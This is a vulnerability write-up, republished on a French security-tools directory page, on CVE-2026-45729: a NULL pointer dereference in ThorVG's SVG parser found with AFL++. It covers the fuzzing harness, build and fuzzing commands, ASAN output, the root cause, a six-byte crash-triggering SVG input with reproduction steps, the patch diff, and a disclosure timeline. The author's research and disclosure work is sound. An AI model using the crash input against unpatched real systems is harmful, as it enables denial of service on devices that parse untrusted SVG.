Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-45729 — ThorVG déréférencement de pointeur NULL via un SVG malformé — write-up de fuzzing AFL++ | Kitploit
Outils/GitHubGitHub/yeahhbean/cve-2026-45729
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationFuzzingAnalyse de Binaires
GitHubyeahhbean/cve-2026-45729

CVE-2026-45729

ThorVG déréférencement de pointeur NULL via un SVG malformé — write-up de fuzzing AFL++

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-45729 — Déréférencement de pointeur NULL ThorVG via SVG malformé

Sévérité : CVSS 4.3 (Moyenne) — CWE-476
Avis de sécurité : GHSA-f863-8ghq-7h64
Corrigé : ThorVG v1.0.5
Statut : Corrigé / Divulgué


Résumé

L'analyseur SVG de ThorVG déréférence un pointeur qui n'est jamais initialisé lorsqu'il rencontre une balise d'élément enfant tronquée dans un nœud racine <svg>. Le bug est atteignable via le chemin de rendu normal (tvg::Picture::load → analyse → rendu) et peut être déclenché avec une entrée de 6 octets.

L'impact dans le pire des cas sur Linux standard est un crash du processus (DoS) — mmap_min_addr empêche le mappage de la page NULL, de sorte que le défaut n'est pas directement exploitable pour une exécution de code dans cet environnement. Sur les cibles sans MMU où ThorVG est également utilisé (Tizen, firmware basé sur LVGL), le tableau de l'exploitabilité est différent et mérite un examen plus approfondi.


Justification du choix de la cible

ThorVG est un moteur graphique vectoriel multiplateforme écrit en C++17. C'est le rendu SVG/Lottie par défaut dans Samsung Tizen OS, il est inclus dans LVGL (largement utilisé dans les interfaces embarquées/IoT) et est distribué comme bibliothèque autonome sur plusieurs plateformes.

La bibliothèque traite des entrées SVG/JSON non fiables et est souvent exposée dans des contextes sans séparation de privilèges. Le code des analyseurs dans les bibliothèques graphiques a historiquement été une source fiable de bugs de sécurité mémoire — ThorVG est activement développé et, au moment de cette recherche, ne présentait aucune couverture de fuzzing enregistrée dans les traqueurs de bugs publics.


Configuration du fuzzing

Harness

Le harness encapsule l'API de chargement en mémoire de ThorVG afin qu'AFL++ puisse piloter directement l'analyseur sans E/S disque.

root@kitploit:~
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;

    tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);

    auto canvas = tvg::SwCanvas::gen();
    uint32_t buf[64 * 64] = {};
    canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);

    auto picture = tvg::Picture::gen();
    // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
    if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
            == tvg::Result::Success) {
        canvas->push(tvg::cast(picture));
        canvas->draw();
        canvas->sync();
    }

    tvg::Initializer::term(tvg::CanvasEngine::Sw);
    return 0;
}

Compilation avec ASAN + instrumentation de couverture :

root@kitploit:~
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
    -fcoverage-mapping -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    $(pkg-config --cflags --libs thorvg)

Corpus initial

Partir de zéro avec des octets aléatoires donne de mauvais résultats sur les analyseurs sensibles au format. J'ai initialisé le corpus avec un ensemble de fichiers SVG minimaux structurellement valides couvrant :

  • SVG vide (<svg xmlns="..."/>)
  • SVG avec formes de base (<rect>, <circle>, <path>)
  • SVG avec un groupe <g> imbriqué
  • SVG avec une référence xlink <use>
  • Une petite animation Lottie/JSON (ThorVG gère également ce format)

Les graines sensibles à la structure ont réduit le temps jusqu'aux premiers chemins intéressants de plusieurs heures à moins de 20 minutes dans mon environnement.

Options AFL++

root@kitploit:~
AFL_AUTORESUME=1 afl-fuzz \
    -i corpus/ \
    -o findings/ \
    -x svg.dict \
    -m none \
    -- ./fuzz_thorvg @@

-x svg.dict — dictionnaire de jetons AFL++ avec des mots-clés SVG pour aider à muter vers des noms de balises valides.
-m none — la mémoire shadow d'ASAN nécessite de désactiver la limite mémoire d'AFL++.


Découverte du crash

AFL++ a produit un crash après environ 3 heures de fuzzing sur un seul cœur. L'entrée initiale provoquant le crash faisait ~180 octets. La sortie ASAN :

root@kitploit:~
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...

Le défaut est une lecture à travers un pointeur SvgNode* non initialisé (NULL) dans _parseStyle. Le pointeur est censé être défini par _createElement lorsqu'il traite un élément enfant, mais un nom de balise tronqué fait que l'élément est ignoré sans que le pointeur soit assigné, et _parseStyle le déréférence quand même.


Minimisation

Minimisé avec afl-tmin, puis élagage manuel :

root@kitploit:~
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@

Après afl-tmin, l'entrée faisait 14 octets. L'inspection manuelle du chemin d'analyse a montré que seuls les 6 premiers octets étaient consommés avant le défaut :

root@kitploit:~
<svg><

<svg> ouvre le nœud racine. < commence une balise d'élément enfant. L'analyseur lit le nom de la balise, obtient une chaîne vide (l'entrée se termine immédiatement après <), ignore la création de l'élément et retombe dans _parseStyle avec le pointeur de nœud toujours NULL.

Confirmez que le déclencheur de 6 octets se reproduit :

root@kitploit:~
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg

Cause racine

root@kitploit:~
src/loaders/svg/tvgSvgParser.cpp

Pseudo-code simplifié du flux vulnérable :

root@kitploit:~
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName);   // tagName == "" → returns nullptr

// No NULL check before passing into style parser
_parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18

Le correctif de la v1.0.5 ajoute un retour anticipé dans la boucle de distribution des éléments lorsque _createElement renvoie nullptr, avant toute tentative de traitement d'attributs/styles.


Analyse de l'exploitabilité

Linux standard (CVSS 4.3 / Moyenne)

/proc/sys/vm/mmap_min_addr est généralement défini sur 65536 sur les distributions modernes. La page NULL n'est pas mappée, donc le CPU lève un SIGSEGV que le noyau convertit en signal pour le processus — le résultat est un crash (DoS). Aucune écriture contrôlée, aucun contrôle du PC, pas directement exploitable pour une exécution de code.

Cibles embarquées / sans MMU

ThorVG est un citoyen de première classe dans Tizen (OS IoT/portable de Samsung) et est intégré dans LVGL, qui s'exécute sur des microcontrôleurs et des systèmes sans MMU.

Sur les systèmes sans MMU, il n'y a pas de protection mémoire et mmap_min_addr ne s'applique pas. Si la page NULL est mappée (ce qui est courant dans les environnements embarqués bare-metal), un déréférencement de pointeur NULL peut potentiellement pointer vers une mémoire contrôlée par l'attaquant. L'atteignabilité dans une attaque réelle dépend de la surface d'attaque — ThorVG sur un appareil Tizen peut analyser du SVG provenant de sources réseau non fiables ou de contenus fournis par l'utilisateur.

C'est ce contexte qui justifie une divulgation responsable même pour un constat CVSS Moyen.


Chronologie de la divulgation


Diff du correctif (résumé)

Le correctif ajoute une garde NULL dans la boucle de distribution des éléments SVG :

root@kitploit:~
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs);   // unconditional

// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue;        // skip if element was not created
_parseStyle(node, attrs);

Diff complet : Version v1.0.5 de ThorVG


Reproduction (sûre, uniquement en local)

root@kitploit:~
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build

# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    -Ibuild/src/include -Lbuild/src -lthorvg

# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin

Sortie attendue : rapport ASAN avec SEGV on unknown address 0x000000000000 dans tvg::SvgParser::_parseStyle.


Références

  • GHSA-f863-8ghq-7h64
  • Projet ThorVG
  • CWE-476 : Déréférencement de pointeur NULL
  • Documentation AFL++

Trouvé par yeahhbean (이예빈) via du fuzzing guidé par couverture AFL++ avec un corpus de graines SVG sensible à la structure.

Télécharger l’outil
DateÉvénement
2026-xx-xxCrash découvert via AFL++
2026-xx-xxCause racine confirmée sous ASAN ; POC de 6 octets produit
2026-xx-xxRapport privé envoyé au mainteneur de ThorVG (hermet) via GitHub Security Advisory
2026-xx-xxLe mainteneur a accusé réception et ouvert un fork privé
2026-xx-xxCorrectif fusionné dans v1.0.5
2026-xx-xxGHSA-f863-8ghq-7h64 publié ; CVE-2026-45729 assigné